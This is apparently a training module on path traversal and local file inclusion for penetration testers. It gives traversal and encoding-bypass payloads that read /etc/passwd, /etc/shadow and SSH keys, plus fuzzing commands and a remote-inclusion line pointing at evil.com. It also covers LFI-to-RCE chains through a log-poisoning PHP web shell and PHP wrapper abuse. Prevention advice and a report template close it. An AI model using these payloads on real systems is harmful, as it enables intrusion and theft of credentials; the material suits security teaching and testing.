8. PATH TRAVERSAL AND FILE INCLUSION

🔷 MODULE 8 — PATH TRAVERSAL & LFI

Path Traversal and Local File Inclusion (LFI) are vulnerabilities that allow attackers to:

- Read sensitive files
- Execute code indirectly
- Steal credentials
- Escalate to RCE
- Access logs, configs, and source code

LFI → RCE is one of the most common real-world attack chains.

🔶 1. Understanding Path Traversal

Path Traversal happens when user-controlled input is used to build a file path without proper sanitization.

Example vulnerable code:

```
<?php
$file = $_GET['page'];
include("pages/" . $file);
?>
```

Attacker can pass:

```
?page=../../../../etc/passwd
```

The application includes system files.

🔶 2. Directory Traversal Basics

Traversing folders uses:

```
../
..\
..%2f
..%5c
..%252e%252e%252f
```

Common payloads:

```
?file=../../../../etc/passwd
?file=..%2f..%2f..%2fetc/passwd
?file=....//....//etc/passwd
```

Windows examples:

```
?file=..\..\..\Windows\win.ini
```

🔶 3. Local File Inclusion (LFI)

LFI allows attackers to load and read files from the server through include or file functions.

Vulnerable PHP functions:

- include()
- include_once()
- require()

- require_once()
- file_get_contents()
- fopen()

Example:

```
?page=../../../../proc/self/environ
```

🔶 4. Understanding File Inclusion Types

✔️ LFI (Local File Inclusion)

Attacker includes local files from server.

✔️ RFI (Remote File Inclusion)

Attacker includes a remote file via URL **(only if allow_url_fopen=On)**:

```
?page=http://evil.com/shell.txt
```

✔️ Combined LFI → RCE

Log poisoning

Session poisoning

Wrapper exploitation

🔶 5. File Inclusion Payloads

Linux files to target:

```
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/proc/self/cmdline
```

```
/var/log/auth.log
```

Windows files:

```
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
```

🔶 6. Exotic Bypass Payloads

```
....//....//etc/passwd
..%2F..%2F..%2Fetc/passwd
..%c0%af../etc/passwd
..%ef%bc%8f..%ef%bc%8fetc/passwd
```

Null-byte bypass (older PHP)

```
?file=../../../../etc/passwd%00
```

🔶 7. Tools for LFI / Traversal Testing

1. Burp Suite

Use:

- Repeater for manual payload tests
- Intruder to fuzz traversal sequences

2. FFUF

Automation:

```
ffuf -u http://site.com/?file=FUZZ -w lfi.txt
```

`lfi.txt` contains:

```
../../../../etc/passwd
....//....//etc/passwd
```

---

3. Wfuzz

```
wfuzz -u "http://site.com/?page=FUZZ" -w bypass.txt
```

---

4. cURL

Manual testing:

```
curl "http://site.com/?file=../../../../etc/passwd"
```

---

5. LFI fuzzing tool (liffy)

```
python liffy.py -u "http://site.com/page.php?page="
```

🔶 8. LFI → RCE Attack Chains

Method 1 — Log Poisoning

Upload malicious user-agent:

```
User-Agent: <?php system($_GET['cmd']); ?>
```

Logs are saved in:

```
/var/log/apache2/access.log
```

Then include it:

```
?page=../../../../var/log/apache2/access.log&cmd=id
```

Method 2 — Session Poisoning

1. Login to create session
2. Inject PHP payload into session cookie
3. Include session file:

```
/var/lib/php/sessions/sess_<ID>
```

Method 3 — PHP Wrappers

Using php://filter

View source code:

```
?page=php://filter/convert.base64-encode/resource=index.php
```

Using php://input

Execute POST data:

```
?page=php://input
```

POST body:

```
<?php system("id"); ?>
```

🔶 9. Sensitive Files Worth Reading

Configuration files

```
wp-config.php
config.php
settings.py
.env
```

SSH keys

```
/home/user/.ssh/id_rsa
```

🔶 10. Preventing LFI / Traversal

- Restrict file access
- Use allow-list of pages
- Disable wrappers
- Sanitize input
- Do not expose file system path
- Disable verbose errors

🔶 11. Reporting Template (Professional)

```
Title: Local File Inclusion (LFI)
Severity: Critical (8.8)
Impact: Ability to read sensitive files or escalate to RCE
Steps:
1. Send: ?page=../../../../etc/passwd
2. Server responds with user list
3. Attempt log poisoning to escalate to RCE
Recommendations:
- Implement static includes
- Validate and sanitize file paths
- Restrict file system access
- Disable remote inclusion
```